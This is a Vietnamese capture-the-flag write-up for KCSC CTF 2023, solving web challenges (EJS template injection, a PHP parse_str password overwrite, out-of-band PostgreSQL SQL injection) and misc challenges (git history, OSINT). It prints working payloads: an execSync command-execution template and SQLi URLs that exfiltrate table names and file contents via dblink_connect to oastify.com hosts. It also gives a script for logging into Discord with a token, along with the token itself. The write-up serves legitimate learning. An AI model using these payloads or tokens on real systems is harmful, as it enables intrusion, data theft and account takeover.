# KCSC CTF 2023 ## Web challenges ### valentine (stolen) ![](https://hackmd.io/_uploads/BJmCWiHrh.png) #### Phân tích Vào chall ta nhận được một form để tạo card cho valentine: ![](https://hackmd.io/_uploads/ryhzMsrr2.png) Nhập giá trị bất kỳ vào biến `name` và submit ta nhận được: ![](https://hackmd.io/_uploads/ryk9GjSr3.png) Trông khá quen thuộc với chall có trong giải `hxp 2022 CTF`. Đi kèm với link vào chall ta có thêm link [write up](https://maoutis.github.io/writeups/Web%20Hacking/valentine/) và [file source code](https://kcsc.tf/files/af31a6ce114075b80a7e81623961d643/public.zip?token=eyJ1c2VyX2lkIjoxNDIsInRlYW1faWQiOjIsImZpbGVfaWQiOjM2fQ.ZGghhg.hUcRbp1hwsGjgIwrXTHZQQZ64yM): Sau khi đã đọc write up và làm theo y như write up thì... Dĩ nhiên là không được rùi vì tác giả đã sửa source code: ![](https://hackmd.io/_uploads/S1ZbEjBBn.png) ![](https://hackmd.io/_uploads/HyR7VoHH3.png) Tiếp tục search thì có vẻ chall này có liên quan đến [CVE-2022-29078](https://eslam.io/posts/ejs-server-side-template-injection-rce/) lợi dụng `view options` của thư viện ejs. Nhưng CVE này chỉ hoạt động ở trước phiên bản ejs 3.1.7 còn phiên bản challenge sử dụng là 3.1.9: ![](https://hackmd.io/_uploads/SJ97UoBHn.png) Có vẻ không giòn, mình tiếp tục đọc [write up](https://hxp.io/blog/101/hxp-CTF-2022-valentine/) chính của giải và thấy payload: ``` <.- global.process.mainModule.constructor._load(`child_process`).execSync(`/readflag`).toString() .> ``` Nhưng dấu `-` đã bị filter làm sao để sử dụng được payload này đây? đọc lại source code thì mình thấy có đoạn replace này: ![](https://hackmd.io/_uploads/HJb3PoHr2.png) #### Khai thác Ngon, thay `<.-` thành `{{` và `.>` thành `}}` nên mình có payload cuối cùng: ``` {{ global.process.mainModule.constructor._load(`child_process`).execSync(`/readflag`).toString() }} {{ name }} ``` Submit payload trên và: ![](https://hackmd.io/_uploads/BkwnujBBn.png) ### Bypass Captcha ![](https://hackmd.io/_uploads/HypQKiBH3.png) #### Phân tích Vào chall ta nhận được một form submit password: ![](https://hackmd.io/_uploads/BJePtiHr3.png) Đọc file source: ![](https://hackmd.io/_uploads/Byy12sSSn.png) Để có được flag thì verify captcha (`$data->success`) phải bằng 1 và thời gian từ lúc verify captcha đến lúc submit form phải nhỏ hơn 5 giây. Tiếp theo là password chúng ta nhập vào (`$passwd`) phải bằng với password được lưu trong server(`$PASSWD`). Đọc file `config.php`: ![](https://hackmd.io/_uploads/B1yL6sBBn.png) Ta thấy hàm `parse_str($_SERVER['QUERY_STRING']);` > $_SERVER['QUERY_STRING'] là một biến siêu toàn cục trong PHP chứa chuỗi truy vấn được gửi đến trang hiện tại. > Hàm parse_str() trong PHP được sử dụng để phân tích chuỗi truy vấn (query string) thành các cặp giá trị khóa - giá trị. Vậy là ta có thể dựa vào hàm `parse_str()` để ghi đè biến `$PASSWD` cho nó trùng với password mà chúng ta nhập. Nhưng vấn đề là khi ta submit form bằng `POST` method thì phần `QUERY_STRING` trên URL sẽ không được gửi đi và server sẽ không khi đè được `$PASSWD`. #### Khai thác Để thực hiện được điều này thì ta có thể sửa thẳng attribute `action` trong form html thành `action=index.php?PASSWD=123` sau đó verify và submit với `$passwd=123` Và thế là: ![](https://hackmd.io/_uploads/BJGIg3SHn.png) ### Petshop Sau khi đọc [write up](https://hackmd.io/@lephuc2712/KCSC-CTF-2023) em đã hiểu các solve chall này :< Loại lỗ hổng là SQLi Out of band PostgreSQL: > dblink_connect là một hàm được sử dụng để thiết lập một kết nối từ một cơ sở dữ liệu PostgreSQL đến một cơ sở dữ liệu khác trên cùng một hoặc một máy chủ PostgreSQL khác. Dblink_connect cho phép bạn thực hiện truy vấn hoặc truy cập dữ liệu từ các cơ sở dữ liệu khác nhau thông qua một kết nối từ xa. `dblink_connect(text connname, text connstring)` > connname: Tên định danh cho kết nối. Đây là một giá trị text và được sử dụng để đại diện cho kết nối trong các cuộc gọi hàm dblink khác. > connstring: Chuỗi kết nối chứa các thông tin cần thiết để thiết lập kết nối đến cơ sở dữ liệu khác. Định dạng của chuỗi này phụ thuộc vào loại kết nối (VD: PostgreSQL, MySQL, Oracle). Payload lấy tên table: ``` https://petshop.kcsc.tf/?sp='+union+SELECT+NULL,+dblink_connect(CONCAT('host%3d',(SELECT+tablename+from+pg_tables+limit+1)+,+'.222k7n44dimnpqudbnigx02ey54wsogd.oastify.com+user%3da+password%3da+'))--+- ``` Ngoài `select tablename from pg_tables` ta còn có thể dùng `SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';` hoặc `SELECT relname, pg_size_pretty(pg_table_size(relid)) FROM pg_catalog.pg_stat_user_tables;` ![](https://hackmd.io/_uploads/SJorhwPr3.png) Sau khi đã có tên bảng là `searches` ta tiếp tục tìm tên cột: ``` https://petshop.kcsc.tf/?sp='+union+SELECT+NULL,+dblink_connect(CONCAT('host%3d',(SELECT+column_name+from+information_schema.columns+where+table_name+%3d+'searches'+limit+1+offset+1)+,+'.3jnlool5uj3o6rbesozhe1jff6lx9qxf.oastify.com+user%3da+password%3da+'))--+- ``` > Để lấy kết quả từ hàng sau trong kết quả truy vấn trong PostgreSQL, bạn có thể sử dụng cú pháp LIMIT và OFFSET. Cú pháp LIMIT được sử dụng để giới hạn số lượng hàng được trả về, và cú pháp OFFSET được sử dụng để chỉ định vị trí hàng muốn bỏ qua ![](https://hackmd.io/_uploads/H1ywRPDS3.png) ![](https://hackmd.io/_uploads/rJfICPPrn.png) Sau khi đọc cột search ta thấy nó chứa một đường dẫn `/var/lib/postgresql/data/sqlOutOfBand` > Trong PostgreSQL có thể dùng pg_read_file() để đọc file và dùng pg_read_binary_file() để đọc file binary. Đọc file binary trên với payload: ``` https://petshop.kcsc.tf/?sp=%27%20union%20SELECT%20NULL,%20dblink_connect(CONCAT(%27host=%27,(SELECT%20pg_read_binary_file%20(%27/var/lib/postgresql/data/sqlOutOfBand%27))%20,%20%27.7y6p3s099nislvqi7selt5yjua01oxcm.oastify.com%20user=a%20password=a%20%27))--%20- ``` ![](https://hackmd.io/_uploads/B1F0fdPBn.png) Sau đó ASCII Hex Decode đoạn hex nhận được và ta có được flag: ![](https://hackmd.io/_uploads/rkBUmOPB3.png) ## Misc challenges ### Discord check ![](https://hackmd.io/_uploads/Bywm-hrrn.png) ### Git Gud ![](https://hackmd.io/_uploads/HJiIbnBBh.png) #### Phân tích Download file về và giải nén ra ta có 2 file: `.git` và `README.md` ![](https://hackmd.io/_uploads/rJekz3BS2.png) Đọc file `README.md` thấy có 1 link youtube và link này để troll :cry: Tiếp tục đến file `.git` đọc file `logs/HEAD` ta thấy: ![](https://hackmd.io/_uploads/S1m0M3rSh.png) File được clone về bởi bquanman :v: #### Khai thác Sử dụng lệnh `git reset --hard HEAD^` để di chuyển HEAD đến commit cha ![](https://hackmd.io/_uploads/rkTvX2Brn.png) Tại commit cha thấy rằng file README.md đã được update, thử đọc xem sao: ![](https://hackmd.io/_uploads/rJp97nBB3.png) Vẫn chưa có thêm gì :<, tiếp tục chuyển HEAD về commit cha ![](https://hackmd.io/_uploads/Hk9C7nHBn.png) Thấy file ảnh `rac.jpg` bị xóa tại HEAD này, tiếp tục chuyển HEAD về để xem ảnh đó là ảnh gì: ![](https://hackmd.io/_uploads/HynvNhrB3.png) Mở ảnh đó lên và HEHE: ![](https://hackmd.io/_uploads/HJh44nHSn.jpg) ### Shackles ![](https://hackmd.io/_uploads/Sy2WS2rSh.png) #### Phân tích Search `justatree781` và ta nhận được một trang twitter của justatree781 có chứa 1 link đến gist: https://gist.github.com/truongangok Đọc các file trong gist đó, nhưng không có gì :cry: Thoát khỏi chế độ view raw và mình đã thấy một đoạn hội thoại khá thú vị: ![](https://hackmd.io/_uploads/H1B5IhHH2.png) #### Khai thác Bài này phải đến sau khi kết thúc giải, đi xin hint mình mới biết làm bước cuối Đấy chính là add token Authorization vào cookie để đăng nhập vào discord của justatree781 Có thể chạy đoạn code này trong console log ``` function login(token) { setInterval(() => { document.body.appendChild(document.createElement `iframe`).contentWindow.localStorage.token = `"${token}"` }, 50); setTimeout(() => { location.reload(); }, 2500); } login('MTA0OTI2NDEwOTIxODE4NTI0Nw.GYYIn3.fO2pfn9HuvHhfV1IWnfbNzVh9ZSE75XhM5dnLs') // Paste token here ``` Hoặc sử dụng extension: https://chrome.google.com/webstore/detail/discord-token-login/ealjoeebhfijfimofmecjcjcigmadcai Và flag chính là username của tài khoản đó. ![](https://hackmd.io/_uploads/HJe39sprr3.png) ![](https://hackmd.io/_uploads/SkacyZoBh.png)